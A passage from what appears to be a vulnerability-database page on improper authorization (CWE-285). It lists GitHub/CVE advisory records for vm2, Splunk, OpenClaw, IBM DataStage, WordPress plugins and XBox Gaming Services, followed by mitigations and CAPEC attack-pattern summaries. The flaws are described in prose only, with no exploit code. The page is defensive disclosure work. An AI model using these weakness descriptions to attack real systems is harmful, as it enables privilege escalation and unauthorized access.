`isDangerousBuiltin(key)` family-prefix matcher (introduced by GHSA-rp36-8xq3-r6c4) automatically extends this to `node:os`, `node:dns`, and `node:dns/promises` without further changes. Embedders who genuinely need a sandbox-local `os`/`dns` (typically `os.platform()`, `os.EOL`, `os.constants`) can register a hand-written safe wrapper under those names via `mock` / `override`, mirroring the escape hatch documented for the GHSA-9g8x denials.\n\nTests should mirror the `test/ghsa/GHSA-9g8x-92q2-p28f/repro.js` shape: bare-name + `node:`-prefixed denial on `require()`, `\u0027*\u0027` wildcard expansion exclusion, explicit-allowlist (`builtin: [\u0027os\u0027]`, `builtin: [\u0027dns\u0027]`) rejection, `makeBuiltins([\u0027os\u0027])` rejection, `mock` / `override` escape-hatch acceptance.\n\n`docs/ATTACKS.md` Category 35 can be extended with the two additional names and the write-class observation, or a new sibling category created for the read+write subclass \u2014 either matches the existing documentation pattern.",
"id": "GHSA-m5w8-4gq2-6f8x",
"modified": "2026-08-17T17:32:47Z",
"published": "2026-08-17T17:32:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m5w8-4gq2-6f8x"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "vm2: NodeVM `builtin: [\u0027*\u0027]` exposes `os` and `dns` \u2014 process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)"
}
GHSA-M653-M4XM-RXRR
Vulnerability from github – Published: 2023-07-06 21:15 – Updated: 2024-04-04 05:48In versions of Splunk Enterprise below 9.0.5, 8.2.11, and 8.1.14, and Splunk Cloud Platform below version 9.0.2303.100, a low-privileged user who holds a role that has the ‘edit_user’ capability assigned to it can escalate their privileges to that of the admin user by providing specially crafted web requests.
{
"affected": [],
"aliases": [
"CVE-2023-32707"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-01T17:15:10Z",
"severity": "HIGH"
},
"details": "In versions of Splunk Enterprise below 9.0.5, 8.2.11, and 8.1.14, and Splunk Cloud Platform below version 9.0.2303.100, a low-privileged user who holds a role that has the \u2018edit_user\u2019 capability assigned to it can escalate their privileges to that of the admin user by providing specially crafted web requests.",
"id": "GHSA-m653-m4xm-rxrr",
"modified": "2024-04-04T05:48:07Z",
"published": "2023-07-06T21:15:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-32707"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2023-0602"
},
{
"type": "WEB",
"url": "https://research.splunk.com/application/39e1c326-67d7-4c0d-8584-8056354f6593"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/174602/Splunk-Enterprise-Account-Takeover.html"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/175386/Splunk-edit_user-Capability-Privilege-Escalation.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M69H-JM2F-2PV8
Vulnerability from github – Published: 2026-03-13 20:54 – Updated: 2026-03-13 20:54Summary
A Feishu reaction-originated synthetic event could misclassify a group conversation as p2p when the inbound reaction payload omitted chat_type. Authorization and mention-gating logic keyed off that incorrect chat type and evaluated the event as a direct message instead of a group message.
Impact
This could bypass groupAllowFrom and requireMention protections for reaction-derived events in Feishu group chats.
Affected versions
openclaw <= 2026.3.11
Patch
Fixed in openclaw 2026.3.12. Reaction events now preserve the correct group context before authorization and mention-gate evaluation. Users should update to 2026.3.12 or later.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2026.3.11"
},
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:54:30Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nA Feishu reaction-originated synthetic event could misclassify a group conversation as `p2p` when the inbound reaction payload omitted `chat_type`. Authorization and mention-gating logic keyed off that incorrect chat type and evaluated the event as a direct message instead of a group message.\n\n### Impact\n\nThis could bypass `groupAllowFrom` and `requireMention` protections for reaction-derived events in Feishu group chats.\n\n### Affected versions\n\n`openclaw` `\u003c= 2026.3.11`\n\n### Patch\n\nFixed in `openclaw` `2026.3.12`. Reaction events now preserve the correct group context before authorization and mention-gate evaluation. Users should update to `2026.3.12` or later.",
"id": "GHSA-m69h-jm2f-2pv8",
"modified": "2026-03-13T20:54:30Z",
"published": "2026-03-13T20:54:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-m69h-jm2f-2pv8"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/pull/44088"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/commit/3e730c0332eb0a3dc9e1e8c29a5f95e933317b41"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenClaw: Feishu reaction events could bypass group authorization and mention gating"
}
GHSA-M6G2-R9V6-4R3J
Vulnerability from github – Published: 2026-09-11 00:31 – Updated: 2026-09-11 00:31IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to improper authorization.
{
"affected": [],
"aliases": [
"CVE-2026-80378"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-10T22:17:00Z",
"severity": "HIGH"
},
"details": "IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to cause a denial of service due to improper authorization.",
"id": "GHSA-m6g2-r9v6-4r3j",
"modified": "2026-09-11T00:31:15Z",
"published": "2026-09-11T00:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-80378"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7286562"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M6QJ-CQ3X-JRRF
Vulnerability from github – Published: 2022-05-24 19:02 – Updated: 2022-07-31 00:00Low privileged users can use the AJAX action 'cp_plugins_do_button_job_later_callback' in the Visitor Traffic Real Time Statistics WordPress plugin before 2.12, to install any plugin (including a specific version) from the WordPress repository, as well as activate arbitrary plugin from then blog, which helps attackers install vulnerable plugins and could lead to more critical vulnerabilities like RCE.
{
"affected": [],
"aliases": [
"CVE-2021-24193"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-05-14T12:15:00Z",
"severity": "HIGH"
},
"details": "Low privileged users can use the AJAX action \u0027cp_plugins_do_button_job_later_callback\u0027 in the Visitor Traffic Real Time Statistics WordPress plugin before 2.12, to install any plugin (including a specific version) from the WordPress repository, as well as activate arbitrary plugin from then blog, which helps attackers install vulnerable plugins and could lead to more critical vulnerabilities like RCE.",
"id": "GHSA-m6qj-cq3x-jrrf",
"modified": "2022-07-31T00:00:58Z",
"published": "2022-05-24T19:02:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24193"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/74889e29-5349-43d1-baf5-1622493be90c"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-M6R5-4FC9-XQJX
Vulnerability from github – Published: 2025-05-07 03:30 – Updated: 2025-05-07 03:30The PeproDev Ultimate Profile Solutions plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the handel_ajax_req() function in versions 1.9.1 to 7.5.2. This makes it possible for unauthenticated attackers to update arbitrary user's metadata which can be leveraged to block an administrator from accessing their site when wp_capabilities is set to 0.
{
"affected": [],
"aliases": [
"CVE-2025-3921"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-07T03:15:18Z",
"severity": "HIGH"
},
"details": "The PeproDev Ultimate Profile Solutions plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the handel_ajax_req() function in versions 1.9.1 to 7.5.2. This makes it possible for unauthenticated attackers to update arbitrary user\u0027s metadata which can be leveraged to block an administrator from accessing their site when wp_capabilities is set to 0.",
"id": "GHSA-m6r5-4fc9-xqjx",
"modified": "2025-05-07T03:30:28Z",
"published": "2025-05-07T03:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3921"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/peprodev-ups/tags/7.5.2/login/login.php#L1483"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/peprodev-ups/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a881ca02-cef9-4f4b-8a62-e241c4c80004?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-M6WQ-482Q-8VJ9
Vulnerability from github – Published: 2026-09-08 18:32 – Updated: 2026-09-08 18:32Improper authorization in XBox Gaming Services allows an authorized attacker to elevate privileges locally.
{
"affected": [],
"aliases": [
"CVE-2026-58611"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T18:17:44Z",
"severity": "HIGH"
},
"details": "Improper authorization in XBox Gaming Services allows an authorized attacker to elevate privileges locally.",
"id": "GHSA-m6wq-482q-8vj9",
"modified": "2026-09-08T18:32:04Z",
"published": "2026-09-08T18:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-58611"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58611"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.